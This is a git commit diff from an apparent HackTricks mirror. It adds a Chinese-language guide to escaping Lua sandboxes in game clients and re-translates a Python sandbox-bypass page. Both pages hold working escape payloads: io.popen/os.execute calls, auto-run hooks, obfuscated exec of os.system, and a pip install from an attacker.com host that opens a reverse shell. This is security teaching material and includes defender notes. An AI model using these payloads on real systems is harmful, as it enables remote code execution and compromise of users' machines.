mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
		
							parent
							
								
									5be6441a1e
								
							
						
					
					
						commit
						b8298e76bc
					
				@ -80,6 +80,8 @@
 | 
				
			|||||||
  - [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
 | 
					  - [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
 | 
				
			||||||
  - [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
 | 
					  - [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
 | 
				
			||||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
 | 
					- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
 | 
				
			||||||
 | 
					- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
 | 
				
			||||||
 | 
					- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
# 🧙♂️ Generic Hacking
 | 
					# 🧙♂️ Generic Hacking
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -926,13 +928,4 @@
 | 
				
			|||||||
- [Post Exploitation](todo/post-exploitation.md)
 | 
					- [Post Exploitation](todo/post-exploitation.md)
 | 
				
			||||||
- [Investment Terms](todo/investment-terms.md)
 | 
					- [Investment Terms](todo/investment-terms.md)
 | 
				
			||||||
- [Cookies Policy](todo/cookies-policy.md)
 | 
					- [Cookies Policy](todo/cookies-policy.md)
 | 
				
			||||||
 | 
					  
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
  - [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
 | 
					 | 
				
			||||||
  - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
 | 
					 | 
				
			||||||
  - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
 | 
					 | 
				
			||||||
  - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
 | 
					 | 
				
			||||||
  - [Readme](reversing/cryptographic-algorithms/README.md)
 | 
					 | 
				
			||||||
  - [Readme](reversing/reversing-tools/README.md)
 | 
					 | 
				
			||||||
  - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
 | 
					 | 
				
			||||||
 | 
				
			|||||||
@ -0,0 +1,114 @@
 | 
				
			|||||||
 | 
					# Bypass Lua sandboxes (embedded VMs, game clients)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{{#include ../../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					本页收集了用于枚举并从嵌入在应用中的 Lua “sandboxes” 中突破的实用技术(尤其是 game clients、plugins 或应用内脚本引擎)。许多引擎暴露了受限的 Lua 环境,但仍会留下可访问的强大 globals;如果暴露 bytecode loaders,就可能实现任意命令执行甚至本机内存损坏。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					关键思路:
 | 
				
			||||||
 | 
					- 把 VM 当作未知环境来处理:枚举 _G,发现哪些危险的 primitives 可达。
 | 
				
			||||||
 | 
					- 当 stdout/print 被屏蔽时,滥用任何 in-VM 的 UI/IPC 通道作为输出汇点以观察结果。
 | 
				
			||||||
 | 
					- 如果 io/os 可用,通常可以直接执行命令(io.popen、os.execute)。
 | 
				
			||||||
 | 
					- 如果暴露了 load/loadstring/loadfile,执行精心构造的 Lua bytecode 可能会在某些版本中破坏内存安全(≤5.1 的 verifiers 可被绕过;5.2 已移除 verifier),从而实现高级利用。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## 枚举 the sandboxed environment
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- 转储 global environment,以清点可访问的 tables/functions:
 | 
				
			||||||
 | 
					```lua
 | 
				
			||||||
 | 
					-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
 | 
				
			||||||
 | 
					local function dump_globals(out)
 | 
				
			||||||
 | 
					out("=== DUMPING _G ===")
 | 
				
			||||||
 | 
					for k, v in pairs(_G) do
 | 
				
			||||||
 | 
					out(tostring(k) .. " = " .. tostring(v))
 | 
				
			||||||
 | 
					end
 | 
				
			||||||
 | 
					end
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					- 如果没有 print() 可用,可重用 in-VM channels。以下示例来自一个 MMO housing 脚本 VM:chat 输出只有在 sound call 之后才生效;下面构建了一个可靠的输出函数:
 | 
				
			||||||
 | 
					```lua
 | 
				
			||||||
 | 
					-- Build an output channel using in-game primitives
 | 
				
			||||||
 | 
					local function ButlerOut(label)
 | 
				
			||||||
 | 
					-- Some engines require enabling an audio channel before speaking
 | 
				
			||||||
 | 
					H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
 | 
				
			||||||
 | 
					return function(msg)
 | 
				
			||||||
 | 
					H.Say(label or 1, msg)
 | 
				
			||||||
 | 
					end
 | 
				
			||||||
 | 
					end
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					function OnMenu(menuNum)
 | 
				
			||||||
 | 
					if menuNum ~= 3 then return end
 | 
				
			||||||
 | 
					local out = ButlerOut(1)
 | 
				
			||||||
 | 
					dump_globals(out)
 | 
				
			||||||
 | 
					end
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					将此模式泛化到你的目标:任何接受字符串的 textbox、toast、logger 或 UI callback 都可以作为 stdout 用于 reconnaissance。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## 如果 io/os 被暴露则可直接执行命令
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					如果 sandbox 仍然暴露标准库 io 或 os,你很可能立即获得命令执行:
 | 
				
			||||||
 | 
					```lua
 | 
				
			||||||
 | 
					-- Windows example
 | 
				
			||||||
 | 
					io.popen("calc.exe")
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					-- Cross-platform variants depending on exposure
 | 
				
			||||||
 | 
					os.execute("/usr/bin/id")
 | 
				
			||||||
 | 
					io.popen("/bin/sh -c 'id'")
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					- 执行发生在客户端进程内;许多阻止外部调试器的 anti-cheat/antidebug 层不会阻止 in-VM 进程创建。
 | 
				
			||||||
 | 
					- 还要检查:package.loadlib (arbitrary DLL/.so loading)、require with native modules、LuaJIT's ffi (if present)、以及 debug library(可能在 VM 内提升权限)。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Zero-click triggers via auto-run callbacks
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					如果宿主应用将脚本推送到客户端,且 VM 暴露 auto-run hooks(例如 OnInit/OnLoad/OnEnter),在脚本加载时立即将 payload 放到这些钩子中以实现 drive-by compromise:
 | 
				
			||||||
 | 
					```lua
 | 
				
			||||||
 | 
					function OnInit()
 | 
				
			||||||
 | 
					io.popen("calc.exe") -- or any command
 | 
				
			||||||
 | 
					end
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					任何等效的回调(OnLoad、OnEnter 等)都会在脚本被自动传输并在客户端执行时使该技术泛化。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## 在 recon 期间要寻找的危险原语
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					在对 _G 进行枚举时,特别注意查找:
 | 
				
			||||||
 | 
					- io、os:io.popen、os.execute、file I/O、env access。
 | 
				
			||||||
 | 
					- load、loadstring、loadfile、dofile:执行源代码或字节码;支持加载不受信任的字节码。
 | 
				
			||||||
 | 
					- package、package.loadlib、require:动态库加载和模块暴露面。
 | 
				
			||||||
 | 
					- debug:setfenv/getfenv(≤5.1)、getupvalue/setupvalue、getinfo,以及 hooks。
 | 
				
			||||||
 | 
					- LuaJIT-only:ffi.cdef、ffi.load,用于直接调用本地代码。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					最小使用示例(如果可达):
 | 
				
			||||||
 | 
					```lua
 | 
				
			||||||
 | 
					-- Execute source/bytecode
 | 
				
			||||||
 | 
					local f = load("return 1+1")
 | 
				
			||||||
 | 
					print(f()) -- 2
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					-- loadstring is alias of load for strings in 5.1
 | 
				
			||||||
 | 
					local bc = string.dump(function() return 0x1337 end)
 | 
				
			||||||
 | 
					local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
 | 
				
			||||||
 | 
					print(g())
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					-- Load native library symbol (if allowed)
 | 
				
			||||||
 | 
					local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
 | 
				
			||||||
 | 
					local foo = mylib()
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					## 可选的权限提升:滥用 Lua bytecode loaders
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					当 load/loadstring/loadfile 可达但 io/os 受限时,执行精心构造的 Lua bytecode 可能导致内存泄露和破坏原语。关键要点:
 | 
				
			||||||
 | 
					- Lua ≤ 5.1 附带一个已知可被绕过的 bytecode verifier。
 | 
				
			||||||
 | 
					- Lua 5.2 完全移除了 verifier(官方立场:应用程序应直接拒绝预编译的 chunks),如果不禁止 bytecode 加载,则扩大了攻击面。
 | 
				
			||||||
 | 
					- 典型流程:通过 in-VM 输出 leak pointers,构造 bytecode 以制造类型混淆(例如围绕 FORLOOP 或其他 opcodes),然后转向 arbitrary read/write 或 native code execution。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					该路径与 engine/version 相关,并且需要 RE。详见 references 中的深入分析、利用原语和游戏中的示例 gadgetry。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Detection and hardening notes (for defenders)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- 服务器端:拒绝或重写用户脚本;白名单安全 APIs;移除或绑定为空 io、os、load/loadstring/loadfile/dofile、package.loadlib、debug、ffi。
 | 
				
			||||||
 | 
					- 客户端:以最小 _ENV 运行 Lua,禁止 bytecode 加载,重新引入严格的 bytecode verifier 或签名校验,并阻止客户端进程创建子进程。
 | 
				
			||||||
 | 
					- 遥测:在 script 加载后不久检测到 gameclient → 子进程创建时触发告警;与 UI/chat/script 事件进行关联。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
 | 
				
			||||||
 | 
					- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
 | 
				
			||||||
 | 
					- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
 | 
				
			||||||
 | 
					- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{{#include ../../../banners/hacktricks-training.md}}
 | 
				
			||||||
@ -1,12 +1,12 @@
 | 
				
			|||||||
# 绕过 Python 沙箱
 | 
					# Bypass Python sandboxes
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
					{{#include ../../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
这些是一些绕过 python 沙箱防护并执行任意命令的技巧。
 | 
					这些是一些绕过 Python sandbox 保护并执行任意命令的技巧。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 命令执行库
 | 
					## 命令执行库
 | 
				
			||||||
 | 
					
 | 
				
			||||||
首先需要知道的是,您是否可以使用某些已导入的库直接执行代码,或者是否可以导入以下任一库:
 | 
					首先你需要知道的是,是否可以直接利用已导入的某个库执行代码,或者是否可以 import 下列任意库:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
os.system("ls")
 | 
					os.system("ls")
 | 
				
			||||||
os.popen("ls").read()
 | 
					os.popen("ls").read()
 | 
				
			||||||
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
 | 
				
			|||||||
execfile('/usr/lib/python2.7/os.py')
 | 
					execfile('/usr/lib/python2.7/os.py')
 | 
				
			||||||
system('ls')
 | 
					system('ls')
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
 | 
					请记住,_**open**_ 和 _**read**_ 函数在 python sandbox 中非常有用:可以 **读取文件**,也可以 **写入一些代码**,你可以 **执行** 这些代码来 **bypass** sandbox。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!CAUTION] > **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
 | 
					> [!CAUTION] > **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Python 会尝试 **首先从当前目录加载库**(下面的命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
 | 
					Python 会尝试 **优先从当前目录加载库**(下面的命令会打印出 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Bypass pickle sandbox with the default installed python packages
 | 
					## Bypass pickle sandbox with the default installed python packages
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 默认包
 | 
					### Default packages
 | 
				
			||||||
 | 
					
 | 
				
			||||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
 | 
					You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
 | 
				
			||||||
注意:从 pickle 中你可以让 python env **import arbitrary libraries**(系统中已安装的库)。\
 | 
					注意,从一个 pickle 你可以让 python env **import 系统中已安装的任意库**。\
 | 
				
			||||||
For example, the following pickle, when loaded, is going to import the pip library to use it:
 | 
					例如,下面这个 pickle 在被加载时会 import pip 库以供使用:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
#Note that here we are importing the pip library so the pickle is created correctly
 | 
					#Note that here we are importing the pip library so the pickle is created correctly
 | 
				
			||||||
#however, the victim doesn't even need to have the library installed to execute it
 | 
					#however, the victim doesn't even need to have the library installed to execute it
 | 
				
			||||||
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
 | 
					print(base64.b64encode(pickle.dumps(P(), protocol=0)))
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
有关 pickle 工作原理的更多信息,请参见: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
 | 
					有关 pickle 工作原理的更多信息,请查看: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Pip package
 | 
					### Pip 包
 | 
				
			||||||
 | 
					
 | 
				
			||||||
技巧由 **@isHaacK** 分享
 | 
					由 **@isHaacK** 分享的技巧
 | 
				
			||||||
 | 
					
 | 
				
			||||||
如果你可以访问 `pip` 或 `pip.main()`,你可以安装任意软件包并通过调用以下命令获取一个 reverse shell:
 | 
					如果你可以访问 `pip` 或 `pip.main()`,你可以安装任意包并通过调用获得 reverse shell:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
pip install http://attacker.com/Rerverse.tar.gz
 | 
					pip install http://attacker.com/Rerverse.tar.gz
 | 
				
			||||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 | 
					pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
你可以在此下载用于创建 reverse shell 的包。请注意,在使用前你应该 **解压它,修改 `setup.py`,并将你的 IP 填入用于 reverse shell**:
 | 
					你可以在此处下载用于创建 reverse shell 的包。请注意,在使用之前你应该 **解压它、修改 `setup.py`,并将你的 IP 填入 reverse shell**:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#file}}
 | 
					{{#file}}
 | 
				
			||||||
Reverse.tar (1).gz
 | 
					Reverse.tar (1).gz
 | 
				
			||||||
{{#endfile}}
 | 
					{{#endfile}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
> 这个包名为 `Reverse`。不过,它是特别制作的,当你退出 reverse shell 时其余的安装会失败,因此你在离开时**不会在服务器上留下额外的 python package**。
 | 
					> 该包名为 `Reverse`。不过,它被特别制作为当你退出 reverse shell 时安装的其余部分会失败,因此你离开后**不会在 server 上留下任何额外的 python package**。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 使用 eval 执行 python 代码
 | 
					## 在 python 中使用 eval
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!WARNING]
 | 
					> [!WARNING]
 | 
				
			||||||
> 注意 exec 允许多行字符串和 ";",但 eval 不允许(查看 walrus operator)
 | 
					> 请注意,exec 允许多行字符串和 ";",但 eval 不允许(参考 walrus operator)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示法来 **绕过** 限制:
 | 
					如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示来**绕过**该限制:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
 | 
					exec("print('RCE'); __import__('os').system('ls')") #Using ";"
 | 
				
			||||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
 | 
					exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
 | 
				
			||||||
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
 | 
				
			|||||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
 | 
					exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
 | 
				
			||||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
 | 
					exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### 其他允许 eval python code 的库
 | 
					### 其他允许 eval python 代码的库
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
#Pandas
 | 
					#Pandas
 | 
				
			||||||
import pandas as pd
 | 
					import pandas as pd
 | 
				
			||||||
@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
 | 
				
			|||||||
# Like:
 | 
					# Like:
 | 
				
			||||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
 | 
					df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
另见 PDF 生成器中的真实场景 sandboxed evaluator escape:
 | 
					另见在 PDF 生成器中的真实世界沙箱化求值器逃逸:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 它利用 rl_safe_eval 从被求值的属性(例如字体颜色)访问 function.__globals__ 和 os.system,并返回一个有效值以保持渲染稳定。
 | 
					- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733)。它滥用 rl_safe_eval,从被求值的属性(例如,字体颜色)访问 function.__globals__ 和 os.system,并返回一个有效值以保持渲染稳定。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 | 
					reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 | 
				
			||||||
{{#endref}}
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 运算符与小技巧
 | 
					## 运算符和小技巧
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
# walrus operator allows generating variable inside a list
 | 
					# walrus operator allows generating variable inside a list
 | 
				
			||||||
## everything will be executed in order
 | 
					## everything will be executed in order
 | 
				
			||||||
@ -145,7 +145,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
## 通过编码绕过防护 (UTF-7)
 | 
					## 通过编码绕过防护 (UTF-7)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,UFT-7 被用来在一个表面上的 sandbox 内加载并执行任意 python 代码:
 | 
					在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,UFT-7 被用来在一个看似受限的 sandbox 中加载并执行任意 python 代码:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
assert b"+AAo-".decode("utf_7") == "\n"
 | 
					assert b"+AAo-".decode("utf_7") == "\n"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -158,9 +158,9 @@ return x
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
也可以使用其他编码绕过它,例如 `raw_unicode_escape` 和 `unicode_escape`。
 | 
					也可以使用其他编码绕过它,例如 `raw_unicode_escape` 和 `unicode_escape`。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## 在不允许进行调用的 Python 环境中执行
 | 
					## Python 在无法发起调用时的执行
 | 
				
			||||||
 | 
					
 | 
				
			||||||
如果你处在一个 python jail(沙箱)中,且 **不允许你进行调用**,仍有一些方法可以 **执行任意函数、代码** 和 **命令**。
 | 
					如果你处在一个 python jail 中,**不允许你发起调用**,仍然有一些方法可以**执行任意函数、code** 和 **命令**。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 使用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) 的 RCE
 | 
					### 使用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) 的 RCE
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
@ -184,13 +184,13 @@ X = exec(X)
 | 
				
			|||||||
@'__import__("os").system("sh")'.format
 | 
					@'__import__("os").system("sh")'.format
 | 
				
			||||||
class _:pass
 | 
					class _:pass
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### RCE 创建对象与重载
 | 
					### RCE 创建对象和重载
 | 
				
			||||||
 | 
					
 | 
				
			||||||
如果你可以 **声明一个类** 并 **创建该类的一个对象**,你就可以 **编写/覆盖不同的方法**,这些方法可以被 **触发**,**无需** **直接调用它们**。
 | 
					如果你能够 **声明一个类** 并 **创建该类的对象**,你就可以 **编写/重写不同的方法**,这些方法可以在 **被触发** 时 **无需直接调用**。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### RCE 使用自定义类
 | 
					#### 使用自定义类的 RCE
 | 
				
			||||||
 | 
					
 | 
				
			||||||
你可以修改一些 **类方法** (_通过重写现有的类方法或创建一个新类_),使它们在被 **触发** 时 **执行任意代码**,而无需直接调用它们。
 | 
					你可以修改一些 **类方法** (_通过重写现有类方法或创建新类_),使它们在 **被触发时** **执行任意代码**,而无需直接调用它们。
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
# This class has 3 different ways to trigger RCE without directly calling any function
 | 
					# This class has 3 different ways to trigger RCE without directly calling any function
 | 
				
			||||||
class RCE:
 | 
					class RCE:
 | 
				
			||||||
@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
#### 使用 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象
 | 
					#### 使用 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象
 | 
				
			||||||
 | 
					
 | 
				
			||||||
metaclasses 允许我们做的关键事情是,通过创建一个以目标类为元类的新类,**在不直接调用构造函数的情况下创建一个类的实例**。
 | 
					关键在于,元类允许我们通过创建一个以目标类为元类的新类,来**直接创建类的实例而不调用构造函数**。
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 | 
					# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 | 
				
			||||||
# This will define the members of the "subclass"
 | 
					# This will define the members of the "subclass"
 | 
				
			||||||
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## You can also use the tricks from the previous section to get RCE with this object
 | 
					## You can also use the tricks from the previous section to get RCE with this object
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
#### 使用异常创建对象
 | 
					#### 通过 exceptions 创建对象
 | 
				
			||||||
 | 
					
 | 
				
			||||||
当一个 **exception is triggered** 时,会 **created** 一个类型为 **Exception** 的对象,无需你直接调用构造函数(来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 的技巧):
 | 
					当**exception 被触发**时,会创建一个**Exception**对象,而你无需直接调用 constructor (该技巧来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
class RCE(Exception):
 | 
					class RCE(Exception):
 | 
				
			||||||
def __init__(self):
 | 
					def __init__(self):
 | 
				
			||||||
@ -301,7 +301,7 @@ __iadd__ = eval
 | 
				
			|||||||
__builtins__.__import__ = X
 | 
					__builtins__.__import__ = X
 | 
				
			||||||
{}[1337]
 | 
					{}[1337]
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### 读取包含 builtins 帮助与许可证的文件
 | 
					### 使用 builtins help 与 license 读取文件
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
 | 
					__builtins__.__dict__["license"]._Printer__filenames=["flag"]
 | 
				
			||||||
a = __builtins__.help
 | 
					a = __builtins__.help
 | 
				
			||||||
@ -315,17 +315,17 @@ pass
 | 
				
			|||||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 | 
					- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 | 
				
			||||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
 | 
					- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
如果你能够访问 **`__builtins__`** 对象,你就可以导入库(注意这里你也可以使用最后一节中所示的其他字符串表示法):
 | 
					如果你可以访问 **`__builtins__`** 对象,你可以导入库(注意这里你也可以使用在最后一节中展示的其他字符串表示法):
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
__builtins__.__import__("os").system("ls")
 | 
					__builtins__.__import__("os").system("ls")
 | 
				
			||||||
__builtins__.__dict__['__import__']("os").system("ls")
 | 
					__builtins__.__dict__['__import__']("os").system("ls")
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### No Builtins
 | 
					### 没有 `__builtins__`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
当没有 `__builtins__` 时,你将无法导入任何模块,甚至不能读取或写入文件,因为 **所有全局函数**(比如 `open`、`import`、`print`...)**都未被加载**。\
 | 
					当你没有 `__builtins__` 时,你将无法导入任何东西,甚至无法读取或写入文件,因为 **所有全局函数**(像 `open`, `import`, `print`...)**未被加载**。\
 | 
				
			||||||
不过,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能是无害的,但其中一些模块内部也**导入了危险**的功能,这些功能可以被访问以获得甚至**任意代码执行**。
 | 
					然而,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能很无害,但其中有些模块**也在内部导入了危险的功能**,可以被访问以获得甚至**任意代码执行**。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
在下面的示例中,你可以看到如何**滥用**这些已加载的“**无害**”模块,以**访问**其中的**危险**功能。
 | 
					在以下示例中,你可以看到如何**滥用**这些已加载的“**无害**”模块,以**访问**它们内部的**危险**功能。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Python2**
 | 
					**Python2**
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
@ -367,9 +367,9 @@ get_flag.__globals__['__builtins__']
 | 
				
			|||||||
# Get builtins from loaded classes
 | 
					# Get builtins from loaded classes
 | 
				
			||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
 | 
					[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
